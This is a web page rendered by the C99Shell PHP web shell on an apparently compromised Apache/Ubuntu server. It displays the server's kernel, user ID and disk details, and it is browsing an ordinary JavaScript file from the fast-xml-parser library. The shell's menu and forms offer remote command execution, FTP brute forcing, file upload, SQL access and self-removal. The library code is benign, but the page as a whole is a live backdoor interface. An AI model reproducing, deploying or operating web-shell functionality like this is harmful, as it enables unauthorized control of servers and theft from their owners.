!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/sync/node_modules/fast-xml-parser/src/v6/OutputBuilders/   drwxr-xr-x
Free 13.28 GB of 57.97 GB (22.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BaseOutputBuilder.js (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
export default class BaseOutputBuilder{
  constructor(){
    // this.attributes = {};
  }

  addAttribute(name, value){
    if(this.options.onAttribute){
      //TODO: better to pass tag path
      const v = this.options.onAttribute(name, value, this.tagName);
      if(v) this.attributes[v.name] = v.value;
    }else{
      name = this.options.attributes.prefix + name + this.options.attributes.suffix;
      this.attributes[name] = this.parseValue(value, this.options.attributes.valueParsers);
    }
  }

  /**
   * parse value by chain of parsers
   * @param {string} val 
   * @returns {any} parsed value if matching parser found
   */
    parseValue = function(val, valParsers){
      for (let i = 0; i < valParsers.length; i++) {
        let valParser = valParsers[i];
        if(typeof valParser === "string"){
          valParser = this.registeredParsers[valParser];
        }
        if(valParser){
          val = valParser.parse(val);
        }
      }
      return val;
    }

  /**
   * To add a nested empty tag.
   * @param {string} key 
   * @param {any} val 
   */
  _addChild(key, val){}

  /**
   * skip the comment if property is not set
   */
  addComment(text){
    if(this.options.nameFor.comment)
      this._addChild(this.options.nameFor.comment, text);
  }

  //store CDATA separately if property is set
  //otherwise add to tag's value
  addCdata(text){
    if (this.options.nameFor.cdata) {
      this._addChild(this.options.nameFor.cdata, text);
    } else {
      this.addRawValue(text || "");
    }
  }

  addRawValue = text => this.addValue(text);

  addDeclaration(){
    if(!this.options.declaration){
    }else{
      this.addPi("?xml");
    }
    this.attributes = {}
  }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--